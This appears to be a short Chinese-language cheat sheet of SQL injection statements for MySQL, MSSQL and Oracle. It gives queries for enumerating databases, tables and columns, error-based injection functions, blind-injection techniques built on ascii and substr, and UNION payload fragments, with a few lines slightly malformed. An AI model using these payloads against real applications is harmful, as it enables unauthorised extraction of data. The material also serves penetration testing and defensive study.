1. 程式人生 > 資料庫 >常見SQL滲透語句

常見SQL滲透語句

  1. mysql
    查所有資料庫名
    select schema_name from information_schema.schemata
    檢視資料庫test_db 下的所有表名
    select table_name from information_schema.tables where table_schema='test_db'
    檢視資料庫test_db裡的表test_table下的所有列名
    select column_name from information_schema.columns where table_schema='test_db' and table_name='test_table'

    最終查詢資訊
    select 列名資訊 from 庫名.表名
    報錯注入
    extractvalue()
    如:
    updatexml()
    exp()
    mysql盲注核心
    ascii(substr('admin',2,1)
    從第2個開始擷取第一個數,對其ascii編碼
    要取表中某個數值,則利用limit 0,1 第1個開始取第一列
    常見函式
    length():判斷字串長度
    count(): 判斷有幾個資訊
    註釋符:--+、#

  2. mssql
    Sysdatabases表:該表儲存在master資料庫中,這個表中儲存的是所有的庫名,以及庫的ID,和一些相關資訊
    Sysobjects表:SQL-SERVER的每個資料庫內都有此係統表,它存放該資料庫內建立的所有物件

    Syscolumns表:該表位於每個資料庫中

    sysdatabases表,name列存放著資料庫名,並且該表只存在master資料庫
    select name from master.dbo. sysdatabases
    sysobjects表,name列存放著資料庫的所有的表名,存在於所有的資料庫下
    select id from sysobjects where xtype='U';
    syscolumns表,name列存放著資料庫的所有的列名,存在於所有的資料庫下。
    select name from syscolumns where id=(select id from master.dbo.sysobjects where name='表名')

    從第m行開始,取n行結果:
    select top n username from users where username not in (select top m username from users);
    mssql盲注核心
    CHAR() :ascii轉字元函式
    subString('admin',2,1):字串擷取函式
    從第2個開始擷取第一個數,對其ascii編碼
    註釋符:--

  3. oracl
    Oracle查詢需要帶上表名,Oracle只有一個表dual表
    select user from dual 獲取使用者名稱
    union select table_name,null,null from user_tables -- 獲取預設表user_tables 下的表名
    union select column_name,null,null from user_tab_columns where table_name='T_USER' --獲取表T_USER下的列名
    rownum=1 隨機獲取一行
    預設表user_tab_columns儲存當前資料庫所有列名
    如:union select column_name,null,null(有幾列,用null補齊) from user_tab_columns where table_name='T_user'
    select?name=1 and (select ascii(substr(table_name,1,1)) from user_tables where rownum=1 ) = ascii值
    註釋符:--